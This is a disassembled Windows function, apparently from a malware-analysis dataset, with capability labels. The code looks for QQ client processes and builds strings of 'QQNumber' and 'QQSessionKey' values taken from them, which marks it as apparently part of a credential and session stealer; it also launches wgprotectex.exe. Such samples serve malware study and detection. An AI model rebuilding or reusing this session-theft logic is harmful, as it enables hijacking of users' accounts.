Function at 0x401ece
Capabilities:
Create process on windows
Terminate process

Disassembly:
mov eax, 0x40b9f3
call fcn.00405564
sub esp, 0x56c
mov eax, dword [0x40e270]
push ebx
lea ecx, [ebp - 0x4c0]
mov dword [ebp - 0x10], eax
call fcn.004043fb
xor ebx, ebx
push 0xbb8
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.ConsoleMain.exe
call fcn.0040115b
test al, al
pop ecx
jne 0x4023e5
push esi
push edi
mov esi, 0x400
mov byte [ebp - 0x490], bl
xor eax, eax
mov ecx, 0xff
lea edi, [ebp - 0x48f]
rep stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
push ebx
push 0x418
lea ecx, [ebp - 0x4c0]
stosb byte es:[edi], al
call fcn.00404303
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
push eax
call edi
push ebx
push ebx
push 0x418
lea ecx, [ebp - 0x4c0]
mov dword [ebp - 0x4a8], eax
call fcn.0040433a
push eax
call edi
cmp dword [ebp - 0x4a8], ebx
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x498], ebx
mov dword [ebp - 0x494], ebx
jle 0x402187
push 7
xor eax, eax
pop ecx
mov byte [ebp - 0x90], bl
lea edi, [ebp - 0x8f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x70], bl
lea edi, [ebp - 0x6f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
lea eax, [ebp - 0x490]
push ebx
push eax
call fcn.00405050
add esp, 0xc
push esi
lea eax, [ebp - 0x490]
push eax
push dword [ebp - 0x494]
lea ecx, [ebp - 0x4c0]
call fcn.0040442c
mov dword [ebp - 0x4ac], eax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x490]
push eax
call fcn.004010f2
pop ecx
push eax
call fcn.00401001
mov edi, eax
lea eax, [ebp - 0x490]
push eax
push str.Tips___s_n_n
call fcn.00401000
lea eax, [ebp - 0x490]
push 0x40c1f6
push eax
call fcn.00405860
add esp, 0x18
test eax, eax
jne 0x402029
inc dword [ebp - 0x498]
cmp edi, ebx
jl 0x40216f
lea eax, [ebp - 0x4a0]
push eax
push dword [ebp - 0x4ac]
mov dword [ebp - 0x4a0], ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x4a0]
call fcn.00401682
test al, al
pop ecx
jne 0x40216f
lea eax, [ebp - 0x90]
push eax
call fcn.0040112a
neg eax
pop ecx
sbb eax, eax
lea ecx, [ebp - 0x90]
and eax, ecx
mov dword [ebp - 0x4ac], eax
je 0x40216f
push dword [ebp - 0x4a0]
lea eax, [ebp - 0x70]
push eax
call fcn.00403502
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x90]
push eax
mov edi, str.QQNumber___s__QQSessionKey___s_n
push edi
call fcn.00405823
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x90]
push eax
push edi
call fcn.00401000
lea eax, [ebp - 0x70]
push eax
call fcn.004047c0
add esp, 0x1c
test eax, eax
je 0x40216f
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.00402858
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x538]
call fcn.004018b3
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x4e0], eax
lea eax, [ebp - 0x538]
push eax
lea ecx, [ebp - 0x4dc]
mov byte [ebp - 4], 1
call fcn.004017c9
lea eax, [ebp - 0x4e0]
push eax
lea ecx, [ebp - 0x578]
mov byte [ebp - 4], 2
call fcn.0040180c
lea eax, [ebp - 0x578]
push eax
lea eax, [ebp - 0x4b0]
push eax
mov ecx, 0x40e940
mov byte [ebp - 4], 3
call fcn.00401e17
push ebx
push 1
lea ecx, [ebp - 0x574]
call fcn.004013ad
push ebx
push 1
lea ecx, [ebp - 0x4dc]
call fcn.004013ad
push ebx
push 1
lea ecx, [ebp - 0x538]
mov byte [ebp - 4], bl
call fcn.004013ad
inc dword [ebp - 0x494]
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x4a8]
jl 0x401f88
call fcn.004011d8
test al, al
je 0x40238d
cmp dword [ebp - 0x4a4], ebx
mov dword [ebp - 0x494], ebx
jle 0x40238d
push 7
xor eax, eax
pop ecx
mov byte [ebp - 0x50], bl
lea edi, [ebp - 0x4f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x30], bl
lea edi, [ebp - 0x2f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push esi
stosb byte es:[edi], al
lea eax, [ebp - 0x490]
push ebx
push eax
call fcn.00405050
add esp, 0xc
push esi
lea eax, [ebp - 0x490]
push eax
push dword [ebp - 0x494]
lea ecx, [ebp - 0x4c0]
call fcn.004045cb
mov dword [ebp - 0x4ac], eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x490]
push eax
call fcn.004010f2
pop ecx
push eax
call fcn.00401001
mov edi, eax
lea eax, [ebp - 0x490]
push eax
push str.Tips___s_n_n
call fcn.00401000
lea eax, [ebp - 0x490]
push 0x40c1f6
push eax
call fcn.00405860
add esp, 0x18
test eax, eax
jne 0x40223e
inc dword [ebp - 0x498]
cmp edi, ebx
jl 0x402375
lea eax, [ebp - 0x49c]
push eax
push dword [ebp - 0x4ac]
mov dword [ebp - 0x49c], ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x49c]
call fcn.00401682
test al, al
pop ecx
jne 0x402375
lea eax, [ebp - 0x50]
push eax
call fcn.0040112a
neg eax
pop ecx
sbb eax, eax
lea ecx, [ebp - 0x50]
and eax, ecx
mov dword [ebp - 0x4ac], eax
je 0x402375
push dword [ebp - 0x49c]
lea eax, [ebp - 0x30]
push eax
call fcn.00403502
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x50]
push eax
mov edi, str.QQNumber___s__QQSessionKey___s_n
push edi
call fcn.00405823
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x50]
push eax
push edi
call fcn.00401000
lea eax, [ebp - 0x30]
push eax
call fcn.004047c0
add esp, 0x1c
test eax, eax
je 0x402375
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00402858
pop ecx
pop ecx
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x51c]
call fcn.004018b3
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0x500], eax
lea eax, [ebp - 0x51c]
push eax
lea ecx, [ebp - 0x4fc]
mov byte [ebp - 4], 4
call fcn.004017c9
lea eax, [ebp - 0x500]
push eax
lea ecx, [ebp - 0x558]
mov byte [ebp - 4], 5
call fcn.0040180c
lea eax, [ebp - 0x558]
push eax
lea eax, [ebp - 0x4b0]
push eax
mov ecx, 0x40e940
mov byte [ebp - 4], 6
call fcn.00401e17
push ebx
push 1
lea ecx, [ebp - 0x554]
call fcn.004013ad
push ebx
push 1
lea ecx, [ebp - 0x4fc]
call fcn.004013ad
push ebx
push 1
lea ecx, [ebp - 0x51c]
mov byte [ebp - 4], bl
call fcn.004013ad
inc dword [ebp - 0x494]
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x4a4]
jl 0x4021a6
mov eax, dword [ebp - 0x4a4]
mov ecx, dword [ebp - 0x4a8]
add eax, ecx
cmp dword [ebp - 0x498], eax
jl 0x4023c5
push 0x40c1c0
push 0x40c1bc
call fcn.00401000
pop ecx
pop ecx
push ebx
push str.wgprotectex.exe
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jg 0x40240b
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.ConsoleMain.exe
call fcn.0040115b
test al, al
pop ecx
je 0x401f1c
pop edi
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c0]
call fcn.004042e2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
xor eax, eax
pop ebx
call fcn.00404fd2
leave
ret
push ebx
call fcn.004057e3
int3